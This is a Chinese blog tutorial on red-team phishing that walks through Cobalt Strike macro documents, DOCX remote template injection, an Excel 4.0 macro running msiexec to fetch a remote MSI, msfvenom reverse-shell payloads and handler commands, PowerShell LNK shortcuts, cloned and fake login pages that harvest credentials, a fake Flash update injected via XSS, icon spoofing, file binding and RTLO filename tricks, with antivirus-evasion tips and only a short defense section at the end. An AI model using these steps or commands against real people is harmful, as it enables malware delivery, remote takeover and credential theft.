首页 > 技术文章 > 红队攻击01——网络钓鱼技术

sukusec301 2022-03-10 17:14 原文

0x00 概述

网络钓鱼是最常见的社会工程学攻击方式之一。所谓社会工程学,是一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段。在生活工作中,最常使用的邮件、各种文档也成为黑客常用的攻击载体。近些年在大型企业边界安全做的越来越好的情况下,网络钓鱼攻击和水坑攻击趋势也一直呈增长趋势,特别是在红蓝对抗演练、APT攻击、勒索软件攻击等事件中,扮演了重要的角色。

例如根据搜索来的网站管理员或者护网期间,将一些木马换成男人无法拒绝的内容,上钓率会质的飞跃,人类该死的好奇心控制不住的,很难控制。

0x01 Office 钓鱼攻击

Office 宏,译自英文单词 Macro。宏是 Office 自带的一种高级脚本特性,通过 VBA 代码,可以在 Office 中去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。而宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在 Normal 模板上。

Visual Basic for Applications(VBA)是 Visual Basic 的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展 Windows 的应用程序功能,特别是 Microsoft Office 软件,也可说是一种应用程式视觉化的 Basic 脚本。

说到底,团队中要有两个方面的大佬。一个是钓鱼攻击的免杀大佬,一个是诱导大佬,即能够骗取他人点击的,熟练掌握人类心理的大佬。

测试环境

系统 windows 10 x64

word 版本 2016 专业(加强)版(未激活)。为了做这个,斥巨资!买了一套office2016!(8块钱)

cobalt strike4.0

cobalt strike 生成宏

1、开启CS,在Attacks——Packages——MS Office Macro里面

image-20220307154745507

2、这里其实推荐选择https,但是因为是测试,所以http也可以

image-20220307155038239

3、生成宏

image-20220307155114288

4、复制出来,可以看到内容

image-20220307155359807

创建宏 Word

1、新建一个word文档,结合社工诱导其右键打开

image-20220307144424216

2、我们打开文件,一定要勾选文件——选项——开发工具

image-20220307154504049

3、在开发工具——点击宏

image-20220307154605464

4、将之前CS生成的宏内容复制粘贴到这里

image-20220307155528584

5、之后选择Auto_Open

image-20220307160441474

测试宏文件

6、现在假设自己为受害者,右键打开文档,会看见这里有一个宏已经禁用。我们要诱导他启用。

image-20220307152033446

7、成功上线

image-20220307162131022

8、随后不管是双击还是右键点击打开,都会上线机器

image-20220307162532446

总结

这都是一些基础的,在实战的环境下,必须要做免杀,还要过Office邮件的查杀。

0x02 利用 DOCX 文档远程模板注入执行宏

这是最常用的方式,在大多数的APT组织以及红队攻击中,这是最常用的手段。

与传统的宏启用文档相比,这种攻击的好处是多方面的。在对目标执行网络钓鱼攻击时,你可以将.docx 的文档直接附加到电子邮件中,并且你不太可能根据文件的拓展名去阻止它。Word 远程模板执行宏就是利用Word 文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意 word 文档就可以通过向远程服务器发送恶意请求的方式,然后加载模板执行恶意模板的宏。 这种攻击更常见的原因是,发送的文档本身是不带恶意代码的,能过很多静态的检测。

方法:想要开始此攻击,我们需要创建两个不同的文件。第一个是启用宏的模板,或是.dotm 文件,它将包含恶意 VBA 宏。第二个是看似没有危害的.docx 文件,它本身不包含恶意代码,只有指向恶意模板文件的目标链接。

测试dotm上线

1、还是用CS生成宏payload

2、新建文件 docx 文件 选择VIsual Basic 点击Thisdocument,将宏payload粘贴进去,还是选择auto_Open

image-20220307170304662

3、出现这个弹窗选择否

image-20220307171911249

4、之后会出现这个界面,然后另存为dotm即可

image-20220307171954578

5、一定要右键点击打开dotm文件,才能成功上线。

image-20220307171845326

6、好了,经过上面的测试,我们得知自己生成的这个dotm是可以让对方上线的,所以我们将其放在公网服务器上

image-20220307172532399

创建远程模板加载文档

1、新建一个新的随便文档,然后新建模板

image-20220307172906070

2、将新建的模板.docx文件改为zip后缀,然后再解压

image-20220307173041563

3、接着修改 word_rels\settings.xml.rels 里的 Target 改成刚设置公网 dotm 文件的访问网址。切记,一定要加http!

image-20220307173351153

4、将修改后的这几项,再次压缩成zip,然后再改后缀为docx

image-20220307173655596

5、之后无论右键点击还是双击这个模板2.docx,就会获得受害者的用户权限。这种方法 docx 避免杀毒软件查杀,而且十分隐蔽。

image-20220307173923726

6、看,这是目前的火绒版本,执行刚才的word文件没有任何的报警。

image-20220307174214858

0x03 Excel 4.0 宏躲避杀软检测

Excel 一般指 Microsoft Office Excel。Microsoft Excel 是 Microsoft 为使用 Windows 和 Apple Macintosh 操作系统的电脑编写的一款电子表格软件。直观的界面、出色的计算功能和图表工具,再加上成功的市场营销,使 Excel 成为最流行的个人计算机数据处理软件。它跟 office 一样都是支持宏,所以一样存在宏病毒。当我们把恶意的宏代码嵌入 Excel 中,用户打开 Excel 文件里的宏就会被触发。

注意:这个攻击方式,需要做免杀,不然成功率会很低。(感觉像是说了个废话,什么钓鱼攻击不用做免杀??)

测试

1、新建一个excel表格,在下方这里,点击右键——插入,就能看见出来一个框,选择这个MS Excel 4.0宏表

image-20220308094409929

image-20220308094446532

2、在新建的宏1里面,输入个=EXEC("calc.exe")=HALT(),这个halt()函数就是结束函数。那么这两条命令就能调出计算器,一个天生的命令终端,想运行什么命令都可以,如msconfigmstsc啥的都行。所以我们可以利用这一点,让其加载远程的一个宏文件,让其上线。那么这个宏文件是什么呢?

image-20220308100037555

3、打开kali,生成一个msi木马,如下。需要注意的是这个payload是不需要写x64的。

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.128 lport=1234 -f msi -o hack.msi

并且开启MSF的监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
options
set lhost 10.10.10.128
set lport 1234
exploit -j -z

image-20220308095619065

4、将生成的这个文件,放入到公网VPS上,我这里就用kali来模拟公网VPS了。

python3 -m http.server 2222

image-20220308095407558

5、好,现在就可以把excel里面的命令,换成那个远程的宏文件了。记得把单元格的名字改为Auto_Open,这样用户打开后可以自动执行。

=EXEC("msiexec /q /i http://192.168.0.180/hack.msi")
=HALT()

image-20220308100818915

好嘛,果然如之前所说,还是得做免杀,不然这个成功率不高。我就先把火绒退了。其实免杀也就是将上面的那两句做一些操作即可。

image-20220308100433239

6、将这个命令行,也就是宏1表,隐藏起来

image-20220308101058167

7、保存文件,然后右键打开,成功上线。这里保存文件也可以保存为Microsoft Excel 启用宏的工作表 (.xlsm)

image-20220308101525945

image-20220308101343412

0x04 lnk快捷方式钓鱼

lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令。

CS演示

1、生成powershell无文件落地

image-20211213115514706

image-20211213002925602

image-20211213115626704

2、把语句复制出来,新建一个快捷方式,粘贴进去。最好将生成的powershell命令用powershell绝对路径补齐,不然有时候会无效。

image-20220308104957081

然后一路确认,更改名字,可以不加后缀,或者加个JPG后缀都可以。

image-20211213115738828

image-20211213115750647

不过这个可能会触发火绒

image-20211213120142639

我们再来生成一次,可以点击这个Manage Web Server按钮,来展示已经建立的80端口

image-20220308105502780

3、伪装一下图标,下载一张美女的图片,在www.bitbug.net网站,上传美女图片,然后生成ico图标,保存到桌面上。image-20211213120258500

image-20211213120402114

4、更改图标,浏览选择刚才生成的

image-20211213120446713image-20211213120505556

可以看到已经成功了

image-20211213120524104

5、还有一个比较简单的更改图标方式,直接右键,选择更改图标,然后输入这个路径,打开shell32.dll文件,这个文件里面全是图标

%SystemRoot%\System32\SHELL32.dll

image-20220308105836193

image-20220308110006834

5、发送给受害者诱导其点击

image-20220308110305528

image-20220308110604398

总结

1、Powershell无文件落地的命令固然好用,但是,容易被杀软拦截。不过被杀软360拦截的时候,如果用户不点击那个阻止操作30秒倒计时后就会直接执行。

如果用户不小心点击了允许执行,那就直接上线了,360还是会来回弹窗说阻止啥的,只不过,已经晚了。

2、Powershell无文件落地最好用全路径来使CS生成的powershell payload完整。

3、更改图标的方法,可以用内置的%SystemRoot%\System32\SHELL32.dll文件

0x05 CS克隆网站钓鱼

克隆网站主要指模仿相关网页的页面格式,制作页面颜色、标识均与原网站视觉效果相同,且域名差别不大,被用于谋取利益的非法网站。当受害人访问时,如果对方没有防御的心里,看到类似相同的网站一般情况下都会输入账号和密码,同时也可以诱导受害人下载恶意文件,也可以劫持网页,记录键盘输入等操作

注意:CS克隆网站有个BUG,不知道为什么,第一次打开电脑,打开CS,可以克隆成功,但是往后就成功不了了。一直报这个错误。

image-20220308163300023

用法一:记录键盘内容

1、选择Attacks——web Drive-by——Clone Site

image-20211213211026150

2、https://exmail.qq.com/login克隆企业邮箱,这里有四个选项,分别代表着不同的含义

image-20220308163722390

3、受害者登录这个网站,然后敲击键盘就可以在CS的web log界面(需要自己打开,不会自己弹出来)中看到键盘记录了。这个键盘记录其实也是用的JS来操作的。

image-20220308162400998

用法二:配合ATTACK选项

2、把https://exmail.qq.com/login复制进去,点击这个Attack,可以生成对应的一些payload

image-20211213211336252

由于BUG十分多,比较蛋疼,就没复现这个了。暂时先放一放。

0x06 假网站钓鱼

假网站诈骗是“网络钓鱼”的一种,通常是指不法嫌疑人未经许可,以银行的名义,通过互联网建立貌似银行网站或网上银行的假网页,并借此发布虚假消息,搜集客户资料,骗取客户网上银行注册卡号(登录 ID)、密码、口令等信息,进而达到非法窃取客户资金的目的。钓鱼(假网站)的表现形式钓鱼(假网站)的网址与真网站网址较为接近。由于国内注册域名的成本非常低,不法分子为增强假网站的欺骗性,往往使用和真实网站网址非常相似的域名。钓鱼(假网站)的页面形式和内容与真网站较为相似。假冒网站的页面往往使用正规网站的 LOGO、图表、新闻内容和链接,而且在布局和内容上与真实网站非常相似。假网站门槛很低,只要类似目标域名和一套高仿的网站源码,加上一些虚假信息,诱导目标用户。目标用户填写登录信息,如账号、邮箱、密码、身份证等敏感信息。

我从网上下载了一些模仿QQ空间的源码,使用kali快速建立了一个apache2服务,然后搭建起来的网站如下(需要将网站的用户调成www-data或者添加写入权限,才能使这个网站成功搭建起来,因为要将用户输入的数值写入到文件中的)

image-20220309204000091

第一种

这个只能选择下面的继续访问触屏版

image-20220309203818677

受害者输入对应的账号和密码

image-20220309203909488

先看网页,会自动跳到QQ空间官网

image-20220309204107550

那么我们回到KALI这里,可以看到网站根目录存在了一个fish.txt

image-20220309204157403

第二种网站——更真实

image-20220309204442025

同理,随后可以访问cha.php

image-20220309204913233

或者直接查看data.txt文件,也可以看到对方的账密

image-20220309204948711

有一个瑕疵,就是这个网站已经访问不到了,我们可以手写成别的网站。这是一个很好的网页跳转案例,值得用来代码审计学习。

image-20220309205303695

换成现在的QQ空间域名,就正常了,不得不说,腾讯还是狠啊,有钱了就把之前的xyz结尾域名换成了com

image-20220309205556112

0x07 Flash 钓鱼

在日常渗透中,当发现网站程序中有 xss 漏洞或有网站修改权限的时,想要获取管理员电脑权限,可以是尝试 flash 钓鱼,因为 flash 是浏览器必不可少的软件,而且经常升级。很多人习以为常,对此没有任何的防御心理。当拿到后台权限时候,临时弄一个升级提示,让后台管理员访问指定有后门的网址,下载 flash 升级程序,这个升级程序是一个免杀过的后门程序,管理员下载运行,恶意程序是过杀毒软件的。整个过程管理员都难以发现。

钓鱼过程

准备类似 flash 的官网的域名,flash 网页程序,免杀过杀毒软件的后门程序。

工具 cobaltstrike 4.0 shellcode 免杀过 360 全家桶 把文名修改成flashplayer_install_cn.exe,同时还可以修改图标为flash的图标。

第一种:纯页面

git clone https://github.com/Wileysec/adobe-flash-phishing-page.git

这个其实很简单,直接利用Kali搭建一个apache2服务即可;

为了更加真实,我这里使用phpstudy来假设购买了一个与flash官网很相近的域名来直接搭建HTTPS的网站,(只要一搭建https,就会同步生成一个http网站)并且同步hosts文件,就可以看到我们访问www.flash.com,出来的就是这个源码展示出来的效果。

image-20220310100214571

image-20220310100013430

修改一下立即下载对应的链接,改成自己公网IP的免杀木马,或者就是当前URL下面的exe程序,如http://www.flash.com/flashplayer_install_cn.exe

image-20220310100554028

image-20220310115643474

image-20220310115831725

CS监听,并且布下天罗地网

image-20220310102910101

点击——立即下载——即可收到

image-20220310130903335

image-20220310131025399

第二种:激进风格,含有POP框

具体利用:当我们找到一个具有XSS漏洞或者已经进入到了后台,有更改网站权限的网站,我们可以将一段JS代码插入到网页文件中。

1、新建一个网站,假设它具有XSS漏洞

image-20220310141525671

2、在我们之前创建的钓鱼网站目录下面放入一个js文件,这个JS文件中写入下面这段代码

window.alert = function(name){
var iframe = document. createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain,');
document. documentElement.appendChild(iframe);
window.frames [0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert( "您的 FLASH 版本过低,尝试升级后访问该页面! ");
window. location.href="http://www.flash.com";

image-20220310141729828

3、再到存在漏洞的网站根目录下面,插入这段JS代码。别忘了JS代码需要在head标签中插入。

<script src="http://www.flash.com/version.js"></script>		#根据自己创建的钓鱼网站进行修改

image-20220310142547090

4、再次访问这个受害网站,就能看到这里会有一个弹窗,当点击确定,就会跳转到之前的钓鱼网站,没有安全意识的人就会下载exe程序运行后就上线了。这个弹窗瞬间就没了,自动点击了确定,不清楚为什么。

image-20220310143216957

image-20220310143345219

其实有一个缺点,就是chrome浏览器,根本不会跳转。谷歌浏览器还是安全系数高啊。

image-20220310143723020

0x08 更改图标文件钓鱼

文件钓鱼是一种很古老的很直接的钓鱼方式,利用图片图标伪装常用的工具和文件。配上特定环境的和术语,可以很好的诱导客户打开文件进而获取对方的用户计算机的权限。以前真的特别流行,什么游戏装备,发给你,随便给你,你一打开,电脑就被控制了。

复现

1、准备免杀的木马文件,使用 Restorator 对其图标进行更改。将木马文件和随便一个exe文件都可以,拖进这个文件里面,我这里用的是微信。

image-20220310145948758

2、随后右键点击微信下面的这个图标文件夹,复制一下,粘贴到自己的木马上面

image-20220310151218084

image-20220310151245377

3、点击保存

image-20220310151210951

4、刷新木马所在的目录,就可以看到自己的木马变成了微信的图标

image-20220310151144596

5、也可以右键,导入到,然后选择一些比较有诱惑性的图标,比如说流行游戏的图标,骗别人使用外挂。然后让使用外挂的傻*们上线中招。我这里就不从网上找ICO图标了,可以从阿里的ICO图标矢量库下载PNG,然后在https://www.bitbug.net/这个网站中转换为ICO。

image-20220310151032362

0x09 捆绑文件钓鱼

捆绑文件,在现在已经不是很常用了,以前还是十分常用的。从网上找了一些工具,找到了这个,还算可以。。。最起码已经达到了文件捆绑的效果了。

https://github.com/Yihsiwei/GoFileBinder

image-20220310162057107

复现效果

1、编译GoFileBinder成exe文件

2、将木马文件和一个其他的exe放在一起

3、使用如下命令捆绑两个软件

GoFileBinder.exe loveYOU.exe qudong.exe

image-20220310162220793

4、使用火绒查杀一下木马文件

image-20220310162251206

使用火绒查杀一下这个捆绑后的文件Yihsiwei.exe

image-20220310162311896

5、双击打开Yihsiwei.exe,效果如下。哈哈哈哈挺有意思的,木马还是被杀了,但是这个确实是达到了文件捆绑的效果。

image-20220310162419312

6、关掉火绒,双击捆绑后的文件,可以看到成功上线了。

image-20220310162602629

0x10 文件名反转(了解即可)

伪装文件中有个比较古老的方式,但依然会在攻击中看到它的身影。RTLO字符全名为“RIGHT-TO-LEFT OVERRIDE”,是一个不可显示的控制类字符,其本质是 unicode 字符。可以将任意语言的文字内容按倒序排列,最初是用来支持一些从右往左写的语言的文字,比如阿拉伯语,希伯来语。由于它可以重新排列字符的特性,会被攻击者利用从而达到欺骗目标,使得用户运行某些具有危害性的可执行文件。

一句话:RLO,即Right-to-Left Override,我们可以在⽂件名中插⼊此类unicode字符,来达到⽂件名反转的效果。

例子1

1、利用msf监听,phantom_evasion生成带有数字签名的免杀木马

image-20211213114858898

image-20211213121818834

2、然后将loveyou.exe命名为loveyoupgj.exe,随后按照下图所示进行操作,其实最后我试了,没什么特别有用的,还是容易被发现。

image-20220212191409272

例子2

例子利用热门歌星最新的歌曲 RTLO 进行伪装。缺点杀毒软件会进行拦截。

image-20220308164536306

0x11 Cobalt Strike 鱼叉钓鱼

鱼叉式网络钓鱼(Spear phishing)指一种源于亚洲与东欧只针对特定目标进行攻击的网络钓鱼攻击。目标由于鱼叉式网络钓鱼锁定之对象并非一般个人,而且特定公司、组织之成员,故受窃之资讯已非一般网络钓鱼所窃取之个人资料,而是其他高度敏感性资料,如知识产权及商业机密。网络钓鱼是指诱导人们连接那些黑客已经锁定的目标。这种攻击方法的成功率很高,也非常常见。点击链接、打开表格或者连接其他一些文件都会感染病毒。一次简单的点击相当于为攻击者开启了一扇电子门,这样他就可以接触到你的内部弱点了。因为你已经同意他进入,他能够接触弱点,然后挖掘信息和授权连接。

钓鱼过程

在 Cobalt Strike 提供了一个邮箱钓鱼模块。

image-20220310165414898

1、准备要钓鱼的目标邮箱

2、模板文件

3、smtp 账号发送邮箱。一般这个SMTP用QQ、163、新浪都可以

复现

1、先来认识一下CS的spaish,共有6个选项栏,作用如图所示

image-20220310165325812

2、第一个选项是目标网站,写成一个txt文件然后保存导入即可

image-20220310165513993

image-20220310165523480

3、模版文件的制作,随便找一个邮件,然后选择显示邮件原文,点击右键可以将其复制下来保存为readfile。这个readfile就是要导入到Template里面的

image-20220310165629164

4、当受害者打开邮件下载附件打开就软件就会中了我们准备后的木马。另外点击链接就会跳转到精致准备好的钓鱼网站。

image-20220310165819297

0x12 钓鱼防御

我们在上面学了那么多钓鱼的方式,肯定也知道了该怎么防御了。

1、对于office钓鱼,我们尽量不去使用老版本的office,例如office2016。如果平时我们收到了钓鱼文件,让我们下载一些word文档之类的,我们应该首先先将word的后缀变成zip,然后解压查看里面的文件,有无外链。切勿上来就直接双击!!不要对excel文件进行双击或者右键打开的操作,打开excel文件后,在sheet1那里右键选择取消隐藏,查看是否有无命令执行的代码。不要启用宏!

2、对于未知网站,也不要轻易输入自己的真实信息,就算没有提交,也会被监听键盘!

3、警惕flash更新网站以及flash.exe!不要被更换了图标的exe程序骗了!不要轻易点击exe程序

4、使用病毒检测网站,对可疑文件进行检测

https://www.virustotal.com/gui/home/upload

此网站十分给力,不仅仅可以检查文件,还可以检查URL,IP等,就是上传速度可能会有点慢

image-20220310170024833

0x13 文章中所需工具与源码

链接:https://pan.baidu.com/s/12lG4cS4oEua-lHzvyGBoPw
提取码:BYnb

推荐阅读